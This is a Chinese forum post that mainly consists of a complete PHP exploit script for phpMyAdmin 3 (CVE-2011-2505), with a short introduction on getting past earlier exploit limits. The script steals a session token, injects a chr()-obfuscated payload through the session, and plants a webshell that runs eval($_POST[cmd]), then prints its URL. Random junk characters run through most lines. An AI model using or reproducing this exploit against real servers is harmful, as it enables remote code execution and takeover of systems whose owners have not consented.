最近在家做专职奶爸,不谙圈内事很多months了,博客也无更新。# K$ s+ k4 j6 z7 G8 x7 A* u
, O9 H' h, s( c3 E `
昨夜带孩子整夜未眠,看到黑哥在php security群里关于phpmyadmin3漏洞的讨论,虽然之前没看过漏洞代码,不过前段时间还是在微博上看到wofeiwo的exp了,不过据黑哥说有不鸡肋的利用方法,于是夜里翻代码出来研究了翻,写出了这个冷饭exp,由于我搞的晚了,之前已经很多人研究了写exp了,于是我这个属于炒冷饭,权当研究研究打发时间了。
3 q6 ?5 J: k" U) ^8 ]# F% |4 a6 J& F* T8 b4 x; e
首先赞下wofeiwo的python版本的exp,再赞下wofeiwo跟superhei的钻研精神,学习的榜样啊。不过之前那个exp利用起来是有一些限制的:& K" \( ^' c% t9 u0 e9 I. H
一是session.auto_start = 1;; n$ Y' l* R8 [) ~; q
二是pma3默认代码里libraries目录已经用.htaccess控制了不允许访问。
% ]/ }5 a) B! `9 H8 ?0 [8 c当然还有第三点大家都不可以逾越的鸿沟:config目录存在且可写。2 U0 r3 \0 f- }9 F( V
2 n% D0 o& J/ I! _- Y
在群里看了黑哥的发言后,再看了下代码,发现前两点利用限制均可以无视。所以其实这个漏洞还真的可以不是那么鸡肋。 i8 G6 e- z' i: g8 P: K
0 Y& |) c* q& R( Q, j2 h! a" A
于是写了这个php版本的exp,代码如下:1 A: |! e2 ~, x1 ?5 v
4 `! c' f3 P, K3 S3 e/ g% R#!/usr/bin/php d' B8 m5 S9 `1 Z" ? w. o7 G
<?php1 Q$ ^ k$ Z7 [% S4 u
print_r('
# U# d B8 X6 Y! q9 E9 T+---------------------------------------------------------------------------+* U1 O5 R0 C2 A: g
pma3 - phpMyAdmin3 remote code execute exploit [Not jilei(chicken\'s ribs)]
, O0 z: n" d, cby oldjun(www.oldjun.com)
& w! ?* k* `0 X" u# h/ Dwelcome to www.t00ls.net7 @ S# u) f9 s6 r; {
mail: oldjun@gmail.com
/ T9 c! ?' M+ a' S5 k( \& k, ~1 `9 OAssigned CVE id: CVE-2011-2505
5 ^9 ^6 I! H- i4 T+---------------------------------------------------------------------------+7 P* Y) v; } e! e( K, o3 S
');. }% p5 b. V9 z4 j
4 n7 v3 ~. I0 x: U& c/** e7 S, H$ \6 T5 P- w" j2 h9 {
* working when the directory:"config" exists and is writeable.. a3 Z5 Y7 k* A4 N4 v' x
**/# X( b3 |+ F1 c+ P% K9 a
, h3 H3 W D# J* w5 B7 ?4 Z/ kif ($argc < 3) {
0 e6 i) e$ e7 C( e* L# k" u print_r('2 e3 {9 _& Z1 [- r; P. s
+---------------------------------------------------------------------------+
1 b: g2 o0 Q) o5 A- dUsage: php '.$argv[0].' host path0 G1 }: U, Y2 v( v' n
host: target server (ip/hostname)# X9 Q) I$ w! k. v/ o$ {$ I3 `7 W
path: path to pma3
( H$ i3 r3 F2 y. r: iExample:- G; S3 }! i# V0 a9 `% m+ I, D( s
php '.$argv[0].' localhost /pma/
; O. j" T5 I9 |7 m: y' L& R! f/ |& E+---------------------------------------------------------------------------+6 Z) [) [! l" q( T+ q+ V
');, y9 {! B1 s( w5 `7 j3 v
exit;6 ?: ^$ {3 l$ m' p7 j* a
}( X# A B! h% C2 w
- b8 E( a, b# N
$host = $argv[1];" B$ M9 o0 `) M4 N7 Q; Y8 }- |
$path = $argv[2];/ \) z, m' n: z q0 E
4 @$ [% f' f# M$ x* v$ E/**' q: D! e3 |# Z5 Z% u
* Try to determine if the directory:"config" exists$ ]( i; T1 y1 L/ C$ s
**/
\- k# f: i$ qecho "[+] Try to determine if the directory:config exists....\n"; U: D( H% S2 m6 D( ?4 L- A" x
$returnstr=php_request('config/');
: l5 W3 r6 v) p- h' y- v7 [if(strpos($returnstr,'404')){& D3 }8 M4 ?8 O3 u. V
exit("[-] Exploit Failed! The directory:config do not exists!\n");
0 G+ m; g* B# I) l! a( b# K5 M}
' F# h2 _; P- Q; T" a, m# F, s7 {
/**% U' \& v3 u- |/ e' f4 G
* Try to get token and sessionid7 e7 T. u3 Z4 ?
**/1 T8 P8 \4 G: w# a' E0 o2 D1 U
echo "[+] Try to get token and sessionid....\n";
* S8 e. Z' V0 h- p L Z$ n. }$result=php_request('index.php');
. s6 g5 A# T1 O' v7 g, zpreg_match('/phpMyAdmin=(\w{32,40})\;(.*?)token=(\w{32})\&/s', $result, $resp);
5 u$ t$ y+ |! v* E) U( i: A$token=$resp[3];+ [ O6 ~" n& t, d$ l: ]/ `5 w
$sessionid=$resp[1];
7 k) L2 a8 x. E5 Z) O: `if($token && $sessionid){
, y6 D4 P/ a' \6 H8 [) v echo "[+] token token\n";
! N1 U0 j2 f! x$ t( ? echo "[+] Session ID sessionid\n";
& F9 s b4 w1 Y8 c* v( Y5 e& _# Y}else{5 N$ y" L) Z, b9 B+ k2 C
exit("[-] Can't get token and Session ID,Exploit Failed!\n");) J0 z* g3 {+ I' C3 u/ f
}
; @- s1 C( o* Q' x U
* R% m) X. C/ _: J( E' w/**. e" ~6 V, p) x/ R
* Try to insert shell into session
, i, N, ^0 O) a6 N# b**/
D5 Y* V8 ]6 j8 R7 M& W: U3 I( gecho "[+] Try to insert shell into session....\n";
+ N9 {% X0 E9 z! _% uphp_request('db_create.php?token='.$token.'&session_to_unset=t00ls&_SESSION[ConfigFile][Servers][*/eval(chr(102).chr(112).chr(117).chr(116).chr(115).chr(40).chr(102).chr(111).chr(112).chr(101).chr(110).chr(40).chr(39).chr(97).chr(46).chr(112).chr(104).chr(112).chr(39).chr(44).chr(39).chr(119).chr(39).chr(41).chr(44).chr(39).chr(60).chr(63).chr(112).chr(104).chr(112).chr(32).chr(101).chr(118).chr(97).chr(108).chr(40).chr(36).chr(95).chr(80).chr(79).chr(83).chr(84).chr(91).chr(99).chr(109).chr(100).chr(93).chr(41).chr(63).chr(62).chr(39).chr(41).chr(59).chr(101).chr(99).chr(104).chr(111).chr(40).chr(39).chr(116).chr(48).chr(48).chr(108).chr(115).chr(39).chr(41).chr(59));/*][host]=t00ls.net','','phpMyAdmin='.$sessionid);//Actually,almost all the php files in home directory of pma3 can be used here.
! F. w2 r: G# l& O) |5 _8 N# k. J! [- w. x9 j! j6 |
/**2 Q E1 }; g: Q) H
* Try to create webshell
3 ~. F$ ~" k, m/ ]8 t/ l**/
# ?0 i* `% V9 ?; Z! j& k: Decho "[+] Try to create webshell....\n";
- Q e) s3 a5 k0 H b* Xphp_request('setup/config.php','phpMyAdmin='.$sessionid.'&tab_hash=&token='.$token.'&check_page_refresh=&DefaultLang=en&ServerDefault=0&eol=unix&submit_save=Save','phpMyAdmin='.$sessionid);
! C: n2 b; N0 p3 ?& v/**8 a9 a q- w' X
* Try to check if the webshell was created successfully% p4 T; k+ F2 |3 n4 {0 A
**/. ~* M2 [. r4 D3 A" a4 ?6 s% I; b5 b
echo "[+] Try to check if the webshell was created successfully....\n";0 w. Z0 C3 }% M# c& \' r
$content=php_request('config/config.inc.php');
: g+ V2 h3 y: U2 c7 }% R0 y3 I: Oif(strpos($content,'t00ls')){) P' o5 s0 n2 a- |8 m- Q* B
echo "[+] Congratulations! Expoilt successfully....\n";
1 T2 X* b) l+ Z' m echo "[+] Webshell:http://$host{$path}config/a.php eval(\$_POST[cmd])\n";
0 i( y8 f5 y3 X}else{
% E2 g- e7 U4 F( e* U7 }" g3 ^ exit("[-] Exploit Failed! Perhaps the directory:config do not exists or is not writeable!\n");
" p: N+ a- ?" X# O5 c}$ l! a4 X4 V, @7 B5 M" L' A ^
- ]4 n9 N3 y* Z% H8 v, X6 T1 P
function php_request($url,$data='',$cookie=''){
8 N" s) E' a3 R global $host, $path;$ d8 @1 e6 p$ W2 z0 H
9 H5 i" G2 \, V
$method=$data?'POST':'GET';1 j! |! m f9 K4 ^1 E
7 z0 P# y' w( P, J6 i; G" J- i2 J $packet = $method." ".$path.$url." HTTP/1.1\r\n";
+ e1 C) U7 d1 p) E) r) _, k $packet .= "Accept: */*\r\n";
1 n- m, j% q, C3 N' j# N $packet .= "User-Agent: Mozilla/4.0 (compatible; MSIE 6.00; Windows NT 5.1; SV1)\r\n";
7 g# X& X7 d/ T4 o% F9 y" A $packet .= "Host: $host\r\n";
# O* b K" i7 S# U, {# u $packet .= $data?"Content-Type: application/x-www-form-urlencoded\r\n":"";
2 |5 O9 [- \, d' |' J2 l" ~- @" A' Q $packet .= $data?"Content-Length: ".strlen($data)."\r\n":"";- w. e0 b8 G% M) ?% l
$packet .= $cookie?"Cookie: $cookie\r\n":"";
/ K9 g2 B8 `7 } $packet .= "Connection: Close\r\n\r\n";; h* e/ x* a4 r% c" b* i; x) T- P
$packet .= $data?$data:"";
, v' I( E& l. e7 P" @ o- o/ `) C+ ~4 M4 A' F& o
$fp = fsockopen(gethostbyname($host), 80);
: s) `, }% Z2 u7 C# D X5 Q: } if (!$fp) {
' c4 X5 z+ Z M# _# `* S/ D echo 'No response from '.$host; die;7 z3 \- D f A. |
}! E( x, d/ |& c5 x; @! q- K
fputs($fp, $packet);
, Z; U* Y- v3 ^6 G1 Q7 X7 x8 Q) G" Y5 C: x$ Q# }; w
$resp = '';; z0 w' O/ M$ n% g7 g: |
$ ^# {" Z* h" Q3 v
while ($fp && !feof($fp))
- i9 N9 U4 j A; H3 o, y $resp .= fread($fp, 1024);
9 c# r2 v6 M) {9 C0 H- o( t6 P! s( v: ~! ]* i" W. S
return $resp;
2 k; u* d+ q3 {}
* z( d3 P+ J* W- J" Q
7 p( [) d' H7 `5 D0 Y" x0 u$ @?> 1 Z4 I8 P" s- e: J; u5 X
. |